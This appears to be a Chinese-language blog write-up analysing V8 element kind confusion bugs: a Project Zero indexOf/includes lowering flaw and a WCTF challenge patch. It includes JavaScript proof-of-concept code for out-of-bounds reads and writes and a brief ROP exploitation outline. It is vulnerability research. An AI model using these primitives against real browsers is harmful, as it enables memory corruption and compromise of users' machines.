v8-Element Kind Confusion
2019.08.05
V1NKe
 热度
℃
前言: 好久没有更新文章了,主要是自己懒加上时间没有那么充裕了,现在抽空来写一写v8的一些东西。
正文: 最近看了一些Element Kind Confusion
的知识点,还有一道WCTF
上的题。现在写一下一些比较有意思的知识点。主要参考PGZ的一篇博文。
Element Kind: 先看定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 enum ElementsKind { // The "fast" kind for elements that only contain SMI values. Must be first // to make it possible to efficiently check maps for this kind. PACKED_SMI_ELEMENTS, HOLEY_SMI_ELEMENTS, // The "fast" kind for tagged values. Must be second to make it possible to // efficiently check maps for this and the PACKED_SMI_ELEMENTS kind // together at once. PACKED_ELEMENTS, HOLEY_ELEMENTS, // The "fast" kind for unwrapped, non-tagged double values. PACKED_DOUBLE_ELEMENTS, HOLEY_DOUBLE_ELEMENTS, // The "slow" kind. DICTIONARY_ELEMENTS, // Elements kind of the "arguments" object (only in sloppy mode). FAST_SLOPPY_ARGUMENTS_ELEMENTS, SLOW_SLOPPY_ARGUMENTS_ELEMENTS, // For string wrapper objects ("new String('...')"), the string's characters // are overlaid onto a regular elements backing store. FAST_STRING_WRAPPER_ELEMENTS, SLOW_STRING_WRAPPER_ELEMENTS, // Fixed typed arrays. UINT8_ELEMENTS, INT8_ELEMENTS, UINT16_ELEMENTS, INT16_ELEMENTS, UINT32_ELEMENTS, INT32_ELEMENTS, FLOAT32_ELEMENTS, FLOAT64_ELEMENTS, UINT8_CLAMPED_ELEMENTS, // Sentinel ElementsKind for objects with no elements. NO_ELEMENTS, // Derived constants from ElementsKind. FIRST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS, LAST_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS, FIRST_FAST_ELEMENTS_KIND = PACKED_SMI_ELEMENTS, LAST_FAST_ELEMENTS_KIND = HOLEY_DOUBLE_ELEMENTS, FIRST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_ELEMENTS, LAST_FIXED_TYPED_ARRAY_ELEMENTS_KIND = UINT8_CLAMPED_ELEMENTS, TERMINAL_FAST_ELEMENTS_KIND = HOLEY_ELEMENTS };
主要用前七种,后面的先不考虑。
先分为fast
和slow
两大类,fast
作为快速查找,线性查找,slow
慢速查找,即用字典方式查找。
这种是属于fast
类,PACKED_SMI_ELEMENTS
:
1 2 3 4 DebugPrint: 0xfafc08b2c9: [JSArray] - map: 0x082a549c2e69 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x10373c151809 <JSArray[0]> - elements: 0x00fafc08b269 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
再看:
1 2 3 4 5 6 a[10000] = 1; DebugPrint: 0xfafc08b2c9: [JSArray] - map: 0x082a549ca6b9 <Map(DICTIONARY_ELEMENTS)> [FastProperties] - prototype: 0x10373c151809 <JSArray[0]> - elements: 0x00fafc08da41 <NumberDictionary[28]> [DICTIONARY_ELEMENTS]
就变成了slow
,DICTIONARY_ELEMENTS
。
fast
类还可以分,可以单向转化。
1 2 3 4 5 6 7 var a = [1,1,1,1]; a[0] = [1.1]; DebugPrint: 0x20f9d8dedf01: [JSArray] - map: 0x082a549c2fa9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x10373c151809 <JSArray[0]> - elements: 0x20f9d8dee341 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
此时就变成了PACKED_DOUBLE_ELEMENTS
。
再往下:
1 2 3 4 5 6 7 var a = [1,1,1,1]; a[0] = {x:1}; DebugPrint: 0x20f9d8dedf01: [JSArray] - map: 0x082a549c3049 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x10373c151809 <JSArray[0]> - elements: 0x20f9d8dee721 <FixedArray[4]> [PACKED_ELEMENTS]
又转化成了PACKED_ELEMENTS
。这里就相当于是对象数组,后面就无法继续转化了,而且以上三个之间只能按照我写的顺序转化,类型无法退回。
再来看另一种的:
1 2 3 4 5 6 7 var a = [1,1,1,1]; a[10] = 1; DebugPrint: 0x20f9d8deef81: [JSArray] - map: 0x082a549c2f59 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x10373c151809 <JSArray[0]> - elements: 0x20f9d8def2c9 <FixedArray[32]> [HOLEY_SMI_ELEMENTS]
这就从PACKED
类转化成了HOLEY
类。之后的Double
、tagged point
都跟上面三种转化一样。用官方文档的图来表示就是:
只能单向转化。
Stable Map: Maps are marked stable when the code to access their elements is already optimized.
当一个对象新添加一个属性的时候,他的map
就会发生变化,比如从一个空对象添加一个属性就会从map0
到map1
的过程此时,map1
就会被标记为stable map
,当再添加一个属性时map2
就为stable map
,map1
不再是stable map
。
1 2 3 4 5 6 7 8 9 10 11 12 var a = [1]; a.x = 1; 0x82a549ca7a9: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 2 - enum length: invalid - stable_map <------ - back pointer: 0x082a549c2e69 <Map(PACKED_SMI_ELEMENTS)>
再来就先开始看PGZ的bug944062
的洞:
BUG 944062: 漏洞函数出现在indexOf
和include
函数,在这里,(JSCallReducer
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // For search_variant == kIndexOf: // ES6 Array.prototype.indexOf(searchElement[, fromIndex]) // #sec-array.prototype.indexof // For search_variant == kIncludes: // ES7 Array.prototype.inludes(searchElement[, fromIndex]) // #sec-array.prototype.includes Reduction JSCallReducer::ReduceArrayIndexOfIncludes( SearchVariant search_variant, Node* node) { CallParameters const& p = CallParametersOf(node->op()); if (p.speculation_mode() == SpeculationMode::kDisallowSpeculation) { return NoChange(); } Node* receiver = NodeProperties::GetValueInput(node, 1); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); ZoneHandleSet<Map> receiver_maps; NodeProperties::InferReceiverMapsResult result = NodeProperties::InferReceiverMaps(broker(), receiver, effect, &receiver_maps); if (result == NodeProperties::kNoReceiverMaps) return NoChange();
这里的result == NodeProperties::kNoReceiverMaps
。再看:
1 2 3 4 5 6 enum InferReceiverMapsResult { kNoReceiverMaps, // No receiver maps inferred. kReliableReceiverMaps, // Receiver maps can be trusted. kUnreliableReceiverMaps // Receiver maps might have changed (side-effect), // but instance type is reliable. };
有这么几种。这里的kUnreliableReceiverMaps
指的就是array
可以从float element
转变到dictionary element
,是不可靠的,有side-effect
。
而在上面ReduceArrayIndexOfIncludes
当中,对于kUnreliableReceiverMaps
在lowering
过程中是没有checkmap
或者StableMapDependency
的,也就是说,当我们在lowering
之前把element kind
改为dictionary element
(fast
->dictionary
)。就会触发bug
。
我们再来看一下arrayIndexOf lowering
之后的状态:
他是个builtin
内置函数:
1 2 3 4 5 6 7 8 9 TF_BUILTIN(ArrayIncludesHoleyDoubles, ArrayIncludesIndexofAssembler) { Node* elements = Parameter(Descriptor::kElements); Node* search_element = Parameter(Descriptor::kSearchElement); Node* array_length = Parameter(Descriptor::kLength); Node* from_index = Parameter(Descriptor::kFromIndex); GenerateHoleyDoubles(kIncludes, elements, search_element, array_length, from_index); }
往下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void ArrayIncludesIndexofAssembler::GenerateSmiOrObject( SearchVariant variant, Node* context, Node* elements, Node* search_element, Node* array_length, Node* from_index) { VARIABLE(index_var, MachineType::PointerRepresentation(), SmiUntag(from_index)); VARIABLE(search_num, MachineRepresentation::kFloat64); Node* array_length_untagged = SmiUntag(array_length); ------ BIND(&ident_loop); { GotoIfNot(UintPtrLessThan(index_var.value(), array_length_untagged), &return_not_found); Node* element_k = UnsafeLoadFixedArrayElement(CAST(elements), index_var.value()); GotoIf(WordEqual(element_k, search_element), &return_found); Increment(&index_var); Goto(&ident_loop); }
继续往下后会发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 template <typename Array, typename T> TNode<T> CodeStubAssembler::LoadArrayElement(TNode<Array> array, int array_header_size, Node* index_node, int additional_offset, ParameterMode parameter_mode, LoadSensitivity needs_poisoning) { CSA_ASSERT(this, IntPtrGreaterThanOrEqual( ParameterToIntPtr(index_node, parameter_mode), IntPtrConstant(0))); DCHECK(IsAligned(additional_offset, kTaggedSize)); int32_t header_size = array_header_size + additional_offset - kHeapObjectTag; TNode<IntPtrT> offset = ElementOffsetFromIndex(index_node, HOLEY_ELEMENTS, parameter_mode, header_size); CSA_ASSERT(this, IsOffsetInBounds(offset, LoadArrayLength(array), array_header_size)); constexpr MachineType machine_type = MachineTypeOf<T>::value; // TODO(gsps): Remove the Load case once LoadFromObject supports poisoning if (needs_poisoning == LoadSensitivity::kSafe) { return UncheckedCast<T>(LoadFromObject(machine_type, array, offset)); } else { return UncheckedCast<T>(Load(machine_type, array, offset, needs_poisoning)); } }
该函数是线性访问array
的内容了。
如果在此之前我们将他改为dictionary element
,就会造成out-of-read
了。
构造利用out-of-read
的过程是先构造array
再构造arraybuffer
,再用一些search value
结尾控制搜索边界,搜索内容就是arraybuffer
的backing_store
指针。可以使用smi
类型爆破高二位字节,这样可以增高效率。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 let b = false; let array = [Array, 1.2]; let ab = undefined; findme = undefined; function f(to_search) { if (b) { array[100000] = 1.1; if (b == 1) { } ab = new ArrayBuffer(1<<30); //%DebugPrint(ab); findme = [0x1337, to_search]; }; return to_search; }; %NeverOptimizeFunction(f); function foo(to_search) { return array.indexOf(f(to_search), 20); } print(foo(0x1337)); foo(0x1337); %OptimizeFunctionOnNextCall(foo); print(foo(0x1337)); b = true; print(foo(0x1337));
这可以作为泄露示范。
再来看WCTF
上的题。
WCTF Independence Day: 先看Patch
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 diff --git a/src/objects/code.cc b/src/objects/code.cc index 24817ca65c..4079f6077d 100644 --- a/src/objects/code.cc +++ b/src/objects/code.cc @@ -925,6 +925,7 @@ void DependentCode::InstallDependency(Isolate* isolate, const MaybeObjectHandle& code, Handle<HeapObject> object, DependencyGroup group) { +#if 0 Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object), isolate); Handle<DependentCode> new_deps = @@ -932,6 +933,7 @@ void DependentCode::InstallDependency(Isolate* isolate, // Update the list head if necessary. if (!new_deps.is_identical_to(old_deps)) DependentCode::SetDependentCode(object, new_deps); +#endif } Handle<DependentCode> DependentCode::InsertWeakCode(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d Author: Your Name <you@example.com> Date: Sat Dec 15 18:21:08 2018 +0100 strip global in realms diff --git a/src/d8/d8.cc b/src/d8/d8.cc index 98bc56ad25..e72f528ae5 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1043,9 +1043,8 @@ MaybeLocal<Context> Shell::CreateRealm( } delete[] old_realms; } - Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate); Local<Context> context = - Context::New(isolate, nullptr, global_template, global_object); + Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>()); DCHECK(!try_catch.HasCaught()); if (context.IsEmpty()) return MaybeLocal<Context>(); InitializeModuleEmbedderData(context);
第一个Patch
是把InstallDependency
函数给清空了。暂且还不知道第二个函数的作用是什么,貌似是禁用了wasm
。
看第一个Patch
函数的交叉引用,可以发现被大量compilation-dependencies.cc
函数中的Install
函数引用。因为是在v8/src/compiler
之中所以可以确定和Turbofan
有关,继续看Install
函数的交叉引用,可以发现一个StableMapDependency
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class StableMapDependency final : public CompilationDependency { public: explicit StableMapDependency(const MapRef& map) : map_(map) { DCHECK(map_.is_stable()); } bool IsValid() const override { return map_.object()->is_stable(); } ---> void Install(const MaybeObjectHandle& code) const override { SLOW_DCHECK(IsValid()); ---> DependentCode::InstallDependency(map_.isolate(), code, map_.object(), DependentCode::kPrototypeCheckGroup); } private: MapRef map_; };
继续看:
1 2 3 4 5 6 7 void CompilationDependencies::DependOnStableMap(const MapRef& map) { if (map.CanTransition()) { RecordDependency(new (zone_) StableMapDependency(map)); } else { DCHECK(map.is_stable()); } }
当看DependOnStableMap
的引用时可以发现很多引用到的。其中有一个BuildCheckMaps
的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void PropertyAccessBuilder::BuildCheckMaps( Node* receiver, Node** effect, Node* control, ZoneVector<Handle<Map>> const& receiver_maps) { HeapObjectMatcher m(receiver); if (m.HasValue()) { MapRef receiver_map = m.Ref(broker()).map(); if (receiver_map.is_stable()) { for (Handle<Map> map : receiver_maps) { if (MapRef(broker(), map).equals(receiver_map)) { ----> dependencies()->DependOnStableMap(receiver_map); return; } } } } ZoneHandleSet<Map> maps; CheckMapsFlags flags = CheckMapsFlag::kNone; for (Handle<Map> map : receiver_maps) { MapRef receiver_map(broker(), map); maps.insert(receiver_map.object(), graph()->zone()); if (receiver_map.is_migration_target()) { flags |= CheckMapsFlag::kTryMigrateInstance; } } *effect = graph()->NewNode(simplified()->CheckMaps(flags, maps), receiver, *effect, control); }
该函数,如果map
是stable map
,那么可以替换为DependOnStableMap
回调到map
中。否则就新建CheckMaps
结点。
再看看该函数引用,可以在js-native-context-specialization.cc
中的ReduceElementAccess
发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 Reduction JSNativeContextSpecialization::ReduceElementAccess( Node* node, Node* index, Node* value, ElementAccessFeedback const& processed) { DisallowHeapAccessIf no_heap_access(FLAG_concurrent_inlining); DCHECK(node->opcode() == IrOpcode::kJSLoadProperty || node->opcode() == IrOpcode::kJSStoreProperty || node->opcode() == IrOpcode::kJSStoreInArrayLiteral || node->opcode() == IrOpcode::kJSHasProperty); Node* receiver = NodeProperties::GetValueInput(node, 0); Node* effect = NodeProperties::GetEffectInput(node); Node* control = NodeProperties::GetControlInput(node); Node* frame_state = NodeProperties::FindFrameStateBefore(node, jsgraph()->Dead()); AccessMode access_mode = processed.keyed_mode.access_mode(); if ((access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) && receiver->opcode() == IrOpcode::kHeapConstant) { Reduction reduction = ReduceElementLoadFromHeapConstant( node, index, access_mode, processed.keyed_mode.load_mode()); if (reduction.Changed()) return reduction; } ------------ // TODO(turbofan): The effect/control linearization will not find a // FrameState after the StoreField or Call that is generated for the // elements kind transition above. This is because those operators // don't have the kNoWrite flag on it, even though they are not // observable by JavaScript. effect = graph()->NewNode(common()->Checkpoint(), frame_state, effect, control); // Perform map check on the {receiver}. access_builder.BuildCheckMaps(receiver, &effect, control, access_info.receiver_maps());
所以说,当map
是stable map
时,我们可以把check map
结点给去掉,这时候再去更改element kind
就可以造成element kind confusion
。
POC: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var a = [1.1,2]; a.x = 1; function test(idx) { return a[idx]; } for (i = 0; i < 0x100000; i++){ var data = test(1); } a[10000] = 1; print(test(100));
即可越界读写。
利用的话就摘抄了一下,现在还不懂这利用是什么原理(用的并不是wasm
,是一种新方法):
1 2 3 4 5 1. leak a binary pointer from the heap 2. read pointer to kernel32 from IAT 3. read kernelbase pointer from IAT of kernel32 4. There's a stack pointer stored in a struct at KERNELBASE!BasepCurrentTopLevelFilter+8 5. ROP
Reference:
https://googleprojectzero.blogspot.com/2019/05/
https://ssd-disclosure.com/archives/3379
https://v8.dev/blog/elements-kinds